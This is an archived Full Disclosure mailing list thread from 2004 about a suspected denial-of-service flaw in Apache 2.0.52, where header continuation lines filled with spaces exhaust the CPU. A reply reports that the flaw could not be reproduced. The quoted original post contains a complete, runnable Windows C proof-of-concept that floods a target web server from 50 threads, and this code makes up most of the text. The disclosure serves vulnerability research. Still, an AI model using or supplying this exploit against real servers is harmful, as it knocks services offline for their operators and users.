Full Disclosure mailing list archives

Re: DoS in Apache 2.0.52 ?


From: Mauro Flores <almauri () cs com uy>
Date: Mon, 01 Nov 2004 11:02:20 -0300

I made a Linux version of your PoC and attack an Apache 2.0.52 +
Mod_security + Mod_ssl + Mod_proxy and couldn't reproduce the DoS.
50 threads for more than 5 minutes throw Internet (not in the local
network).

Regards, Mauro Flores

On Mon, 2004-11-01 at 06:57, Chintan Trivedi wrote:
Hi,

      I was doing some testing on Apache webserver ver 2.0.52 (unix) and
previous versions. Just found that a special type of request consumes
lot of CPU usage and hangs the webserver. It even hangs other services
like ssh, ftp ..

For Apache 2.0.52 a request like
GET / HTTP/1.0\n
[space] x 8000\n
[space] x 8000\n
[space] x 8000\n
.
.
8000 times

consumes a lot of cpu.

I created 25 threads (connections) and send the above request to one
webserver. After just 2-3 minutes of flooding, the server wasnt able
to fulfill any http requests.  Even ssh and such other services well
also hanged up. The time required for the attack was just maximum 5
minutes. 

I am not sure whether it is a valid DoS or not. Replacing the <space>
with any other char will break the connection just after a few
lines(130 or so) of header. Checking the
httpd-2.0.52/server/protocol.c file i see the code for the mime
headers. It checks for the first char of the header. If it is a "space" it
considers it as an extension to the previous line header.  The problem
seems to be similar to the advisory published by Guninsky few weeks
ago -> http://www.guninski.com/httpd1.html thought its a bit
different.  That fix was for the long request field header when the
header line is extended in the next line using space.

Well i guess 8K limit for the number of headers filled with spaces is
quite huge. Its enuf to DoS the server using a few threads.

You can check the attached C file to test it. The file is compiled on
windows system using VC++ 6.0.

-----------------POC----------------------------
///   Apache 2.0.52 and earlier  DoS  

#include "stdafx.h"
#include "winsock.h"
#include "string.h"
#include "stdio.h"
#include "windows.h"
#pragma comment(lib,"ws2_32")

DWORD WINAPI attack(LPVOID);
char target[256];

int main(int argc, char* argv[])
{
       int l=0;
       int j;
       DWORD dw;
       HANDLE hd;
       if(argc<2)
       {
               printf("usage: %s target", argv[0]);
               exit(0);
       }

       strncpy(target, argv[1], 256);
       printf("Attaching %s ...\n", target);
       for(j=0;j<50;j++)
               hd=CreateThread(NULL,0, attack, (LPVOID) l , 0, &dw);

       for(j=0;j<50;j++)
               WaitForSingleObject(hd, INFINITE);

       printf ("done");
       return 0;
}

DWORD WINAPI attack(LPVOID l)
{
       int                             s;
       SOCKADDR_IN             sck;
       HOSTENT                 *host;
       char                    buff[256];
       char                    space[8000];
       int                             i;

       WSADATA                 wsadata;

       WSAStartup(MAKEWORD(1,1),&wsadata);

       memset(space, ' ', 8000);
       space[7998]='\n';
       space[7999]='\0';

       if((host=gethostbyname(target))==NULL)
       {
               printf("Host not found");
               return -1;
       }
       sck.sin_family = PF_INET;
       memcpy(&sck.sin_addr.s_addr, host->h_addr, host->h_length );
       sck.sin_port = htons(80);

       if((s=socket(AF_INET,SOCK_STREAM,0))==-1)
       {
               printf("Socket couldn't be initiallized");
               return -1;
       }
       if((connect(s,(struct sockaddr *)&sck,sizeof(sck))))
       {
               printf("Couldn't connect");
               return -1;
       }

       sprintf(buff, "GET / HTTP/1.0\n");
       //printf("%s",buff);
       int len=strlen(buff);

       if((send(s,buff,len,0))==-1)
       {
               printf ("send error");
               closesocket(s);
               return -1;
       }

       for(i=0;i<9999;i++)
       {

               if((send(s,space,strlen(space),0))==-1)
               {
                       printf("Send Error on header number %d", i);
                       closesocket(s);
                       return -1;
               }

       }
       closesocket(s);
       return 0;
}
------------------------------------------------

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


Current thread: